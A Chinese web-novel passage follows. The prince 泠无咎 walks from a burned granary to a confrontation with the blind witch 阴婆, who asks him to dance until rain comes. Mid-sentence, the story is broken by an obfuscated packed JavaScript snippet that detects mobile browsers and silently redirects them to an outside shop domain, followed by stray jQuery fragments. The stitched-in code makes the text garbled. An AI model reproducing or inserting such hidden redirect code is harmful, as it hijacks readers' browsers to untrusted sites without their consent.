天没亮的时候,泠无咎出了城门。
二十个士卒跟在他身后,步伐整齐,甲胄在黎明前的暗色里泛着沉甸甸的铁灰色。
泠无咎走在最前面,黑衣外面套了一件深灰色的旧氅衣,领口依然是松的,露出来的血玉珠链边缘在暗中泛着一点微弱的暗光,像一小截被夜浸透了的旧火炭。
南城门外三里处,官道两侧的麦茬地被露水泡得发亮,像一层被反复碾过的旧草纸。
再往前走了一里,空气里开始浮起一股气味——不是干草,是焚烧之后残留的焦木和谷壳混在一起的、酸而涩的旧尘味。
泠无咎没有停步,一直走到那处被烧毁的粮仓前面才站定。
粮仓的墙壁还在,黑褐色的炭化木面在晨雾里泛着哑光,顶部已经塌了,露出被烧成焦黑色的梁架。
地面上的灰烬已经被夜露和晨雾浸透,成了深灰色的糊状物,踩上去发出沉闷的、被水泡软了的声响。
泠无咎在灰烬边缘蹲下来,伸手碰了一下地面。灰烬是凉的,表面的露水在日光从云层上方透出来的第一线淡金色中反射出细碎的、湿润的光泽,像一片被打湿了的旧灰地毯。
他没有说话,站了起来,沿着粮仓废墟的北侧走了一圈。
百夫长跟在他身后几步远的地方,带着压低的谨慎:“质子——白巫的人昨天退走之后没有留下任何标记。没有脚印,没有断幡,没有烧完的艾草。他们像是从这里重新沉回了地下。”
泠无咎没有回应。
他走出废墟边缘,在田埂上站定。日光正在从云层上方铺下来,把南面的田野照成一幅正在缓慢展开的旧画卷——麦茬地、矮丘、远处连绵的树影。
田埂上的露水正在消退,空气中浮起一层极淡的草腥气,混着焦木的气味,像一座正在缓慢转凉的炉膛正在散尽它最后的热量。
他侧过头来看了一眼百夫长:“你们留在这里,守着粮仓的废墟,不要往南走。”
百夫长的喉结动了一下:“质子——如果白巫的人——”
“白巫的人不会来。”泠无咎打断了他,声音懒散。
“他们已经得到了他们想要的东西。他们不需要再烧第二座粮仓了。他们现在在等。”
他没有解释在等什么。他沿着田埂向南走去,步伐不快不慢,深灰色氅衣的下摆擦过被露水浸透的草叶,留下一道正在缓慢变淡的湿痕。
他从上午走到午后,经过两座已经空了的村庄、一片被火烧过的竹林、一段被溪水冲垮的旧土路。
日光从头顶正上方移向西侧,把他的影子从正午的短粗逐渐拉长成一道细长的灰线。
他停下来喝水的时候,从怀里摸出一块干饼咬了一口——饼是冷的,干硬,嚼的时候腮帮子发酸。
他嚼完最后一口,把碎屑拍干净,继续往前走。
他在一处矮丘的顶部停下来。
田埂在这里断成了一截,地面从干硬的土块变成了被露水反复浸润过的旧泥。矮丘下方是一片被野草覆盖的低洼地,草叶的高度齐膝,在暮色里泛着一种暗沉沉的、被风压弯了又弹起的绿。
在他前方大约一里处,几根细长的竹竿歪斜着插在土里,顶端还残留着几片被雨水撕碎的白幡碎片,在暮风里缓慢地晃动着。他放慢脚步,走过那些竹竿的时候没有低头。
他在矮丘边缘站住,面朝南方,日头正沉入远方的地平线,暮色从四面八方向中央合拢,像一只正在缓慢合拢的巨大手掌。
他听到身后传来脚步声——不重,像是在泥地上走了一段很长的路。泠无咎没有回头,只是微微偏了一下头。那个声音在他身后约莫十步的位置停住了。
来人的声音嘶哑,被暮色和晚风同时压着,像一截旧木从水底浮上来时发出的、被泡软了的哑响:“你来了。”
泠无咎侧过头来。暮光从他身后照过来,落在他冷白色的侧脸上,在眼窝深处投下一片正在移动的暖色阴影。
他看见阴婆站在距离他十步远的田埂上。她今天穿着一件深色的旧袍,赤脚,脚踝上沾着湿泥,白发被暮风吹散贴在额前和脸侧,那双没有瞳仁的眼白在暮色里翻了一下,像水面下有东西在深处移动了一下脊背。
她身后站着大约二三十个人,散落在被野草覆盖的低洼地里,像一堆被风吹动时才会移动的灰色石块。
他们手里握着竹竿和白幡的残柄,身上穿着旧布衣,脚上沾着泥,面目在暮色里模糊不清。
泠无咎转过身来面对她。
两人之间隔着十步的距离和整片正在沉入暮色的田野。他伸手解开了深灰色氅衣的系带,让氅衣从肩上滑落,落在地面上。
他站在暮色里,黑衣的领口敞着,血玉珠链垂在胸前,珠子在最后一线天光里泛着暗红色的湿润的光,像是刚从很深的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942548|213957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地方浮上来。
“你烧了粮仓。”泠无咎说。声音戏谑,像在陈述一件已经发生过的、不会再改变的事,“你烧了粮仓,然后退回这里,插了三根旧竹竿在上面。你在等我走到你面前来,看你想让我看的东西。”
阴婆站在暮色里,眼白在黑暗中翻了一下:“你看了。”
“我看了。”泠无咎说,“我看了粮仓的灰,看了田埂上的脚印,看了你插在土里的竹竿。我走了整整一天——你让我看到的东西,我已经看到了。”
他往前走了一步。暮色在他身后彻底沉入暗蓝,田野的轮廓正在被夜色一口一口地吞掉。血玉珠链在他胸前微微晃动了一下,珠子相碰时发出一声细碎而清越的声响。
“你不走。”阴婆说,“你站在这里,没有转身往回走。”
泠无咎站定了,黑瞳在夜色里微微亮了一下:“因为我知道——你在等我问你一个问题。”
阴婆站在暮色与夜色交界的线上,干瘦的手指在旧袍的衣摆边沿收拢又松开。
她等了很久,然后开口了:“……你翻过砖之后,没有来见我。我放了白幡,你没有来。你一直等到粮仓烧了,才走到这里来。你走了整整一天,走到天黑才到——你在路上想了什么?”
泠无咎站在夜色里,被夜风从四面同时压过来,吹动了他敞开的衣领和垂落的黑发。
他的声音从夜色中传出来:“我在想——你烧粮仓,是因为你有事要我替你做。你走了几百里路到郢都,立白幡、烧艾草、等一个人翻砖——你等了很久。你等的不是我来见你,你等的是我走到你面前、亲口问你‘你要我替你做什么’。”
阴婆站在那片正在被夜色彻底吞没的草地上,眼白在黑暗中翻了一下,像水面下有东西在深处翻了一个身,又沉了回去。
她开口了,声音比之前低了一些:“替我跳一支舞。跳到天亮,跳到雨来,跳到这块地里的土重新变热。”
泠无咎站在夜色里,夜风从他身侧穿过去。他低下头,伸手解开了腰间的衣带,黑衣的前襟从他肩侧滑落下来,落在地上。
然后他脱了鞋,赤足站在夜色里的湿泥地上。他抬起头来,黑瞳在夜色中亮了一下,像一口被重新注入了光、水面开始反射微光的深井。他的声音平静中带着一丝疯,像在说一件已经决定好了的事:“雨来的时候,我就开始跳。”他顿了顿,“你看着。”